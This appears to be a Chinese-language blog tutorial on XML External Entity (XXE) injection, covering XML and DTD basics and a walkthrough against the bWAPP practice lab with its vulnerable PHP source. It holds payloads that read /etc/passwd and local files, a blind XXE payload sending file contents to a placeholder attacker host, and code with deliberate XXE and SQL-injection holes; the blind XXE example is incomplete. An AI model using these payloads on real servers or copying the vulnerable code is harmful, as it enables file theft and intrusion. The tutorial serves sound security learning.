XXE - bWAPP

概述:

XXEXML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。 这里主要介绍PHP语言下的XXE攻击.

基础知识:

XML基础(extensible markup language

  • 用途:数据的传输和存储
  • 文档结构:

   可参考:https://www.cnblogs.com/jb8164/articles/736515.html

    • XML声明(通常是版本和编码格式)

      <?xmlversion="1.0" encoding="UTF-8">

    • 根元素(放在起始和结尾)
    • 元素

       基本结构:开始标记数据内容结束标记

<Person>

<Name>Zhang San</Name>

<Sex>Male</Sex>

</Person>

    • 注释:

     <!--****-->

    • PI (processing instruction)

     开头 <?  结尾 ?>

    • DTD文档类型定义

     movies.dtd

<?xml version="1.0" encoding="GB2312"?>

<!ELEMENT movies (id, name, brief, time)>

<!ATTLIST movies type CDATA #REQUIRED>

<!ELEMENT id (#PCDATA)>

<!ELEMENT name (#PCDATA)>

<!ELEMENT brief (#PCDATA)>

<!ELEMENT time (#PCDATA)>

   

movies.xml

<?xml version="1.0" encoding="GB2312"?>

<!DOCTYPE movies SYSTEM "movies.dtd">

<movies type="动作片">

<id>1</id>

<name>致命摇篮</name>

<brief>李连杰最新力作</brief>

<time>2003</time>

</movies>

   

    • CDATA 将文本内容当作纯字符数据来解释

      以"<![CDATA[" 开始,以"]]>"结束

    • Entities 实体

     &开始 ;结尾定义好的有

&lt; <

&gt; >

&amp; &

&quot; "

&apos; '

      • 内部实体 <!ENTITY 实体名称 "实体的值">
      • 外部实体 <!ENTITY 实体名称 SYSTEM "URL">
    • Doctype

      "<!DOCTYPE[]>"紧随XML声明,包括所有实体的声明

XXE 原理

XML数据在传输过程中利用外部实体声明部分的"SYSTEM"关键词导致XML解析器可以从本地文件或者远程URL中读取受保护的数据。

   

XXE 分类

 

  • 按构造外部实体声明

 

    • 直接通过DTD外部实体声明  

     <?xml version="1.0"?>

<!DOCTYPE xxx[

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<hhh>&f;<hhh>

    • 通过DTD文档映入外部DTD文档中的外部实体声明  

     XML内容:

<?xml version="1.0"?>

<!DOCTYPE xxx SYSTEM "https://xxx/xxx.dtd">

 

<hhh>&f;<hhh>

DTD文件内容

<!ENTITY f SYSTEM "file:///etc/passwd">

    • 通过DTD外部实体声明来引入外部DTD文档中的外部实体声明  

     <?xml version="1.0"?>

<!DOCTYPE Quan[

<!ENTITY f SYSTEM "https://xxx/xxx.dtd">

]>

   

<hhh>&f;<hhh>

 

  • 按输出信息

 

    • 正常回显XXE (服务器直接回显信息)  
    • 报错XXE  
    • Blind XXE

  当服务器没有回显,我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。 Blind XXE主要使用了DTD约束中的参数实体和内部实体。 在XML基础有提到过参数实体的定义,这里就不再做详细讲解。 参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

<?xml version="1.0"?>

<!DOCTYPE Note[

<!ENTITY % file SYSTEM "file:///C:/1.txt">

<!ENTITY % remote SYSTEM "http://攻击者主机IP/xxx.xml">

%remote引入外部XML文件到这个 XML 中,%all检测到send实体,在 root 节点中引入 send 实体,便可实现数据转发。 利用过程:第3行,存在漏洞的服务器会读出file的内容(c:/1.txt),通过Quan.xml带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

靶场测试

php靶场 - bWAPP

这里有两种安装,一种是网页,另一种是虚拟机安装的

网页地址

https://sourceforge.net/projects/bwapp/files/latest/download

https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download

这里简单演示网页版的安装(解压放到 phpstudy 下的www文件中,打开admin中的settings.php文件)

这里可按需更改

   

登录网址进行安装这里是 localhost/bwapp/install.php

安装完成,进行相关练习

等级low

抓包分析试试

repeater正常操作结果

尝试添加XML内容,这里以读取网站本身的 robots.txt 为例

修改内容如下:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note[

<!ENTITY Beyond SYSTEM "http://192.168.204.75/bWAPP/robots.txt">

]>

   

<reset><login>&Beyond;</login><secret>Any bugs?</secret></reset>

成功!

简单分析源码:

 

 1 $message = "";
 2 $body = file_get_contents("php://input");
 3 
 4 // If the security level is not MEDIUM or HIGH
 5 if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
 6 {
 7 
 8     ini_set("display_errors",1);
 9 
10     $xml = simplexml_load_string($body);
11 
12     // Debugging
13     // print_r($xml);
14 
15     $login = $xml->login;
16     $secret = $xml->secret;
17 
18     if($login && $login != "" && $secret)
19     {
20 
21         // $login = mysqli_real_escape_string($link, $login);
22         // $secret = mysqli_real_escape_string($link, $secret);
23         
24         $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
25 
26         // Debugging
27         // echo $sql;      
28 
29         $recordset = $link->query($sql);
30 
31         if(!$recordset)
32         {
33 
34             die("Connect Error: " . $link->error);
35 
36         }
37 
38         $message = $login . "'s secret has been reset!";
39 
40     }
41 
42     else
43     {
44 
45         $message = "An error occured!";
46 
47     }
48 
49 }

 

 

 

首先是通过php伪协议获取XML内容,然后使用 simplexml_load_string() 函数将xml 字符串载入对象中,没有任何过滤,然后login会直接回显内容

等级medium/high

这里两个难度对应的代码是一样的

失败,分析源码

 

 1 // If the security level is MEDIUM or HIGH
 2 else
 3 {
 4 
 5     // Disables XML external entities. Doesn't work with older PHP versions!
 6     // libxml_disable_entity_loader(true);
 7     $xml = simplexml_load_string($body);
 8     
 9     // Debugging
10     // print_r($xml);
11 
12     $login = $_SESSION["login"];
13     $secret = $xml->secret;
14 
15     if($secret)
16     {
17 
18         $secret = mysqli_real_escape_string($link, $secret);
19 
20         $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
21 
22         // Debugging
23         // echo $sql;      
24 
25         $recordset = $link->query($sql);
26 
27         if(!$recordset)
28         {
29 
30             die("Connect Error: " . $link->error);
31 
32         }
33 
34         $message = $login . "'s secret has been reset!";
35 
36     }
37 
38     else
39     {
40 
41         $message = "An error occured!"; 
42 
43     }
44 
45 }

这里的login是从session中获得的,无法利用login元素进行XXE攻击

参考文章:https://github.com/hongriSec/Web-Security-Attack/tree/master/Part1/Day8/files

   

java靶场 - webGoat (暂略)

DSVW靶场(暂略)

XXE-lab (暂略)

   

posted @ 2020-12-25 17:02  Beyond-189  阅读(637)  评论(0)    收藏  举报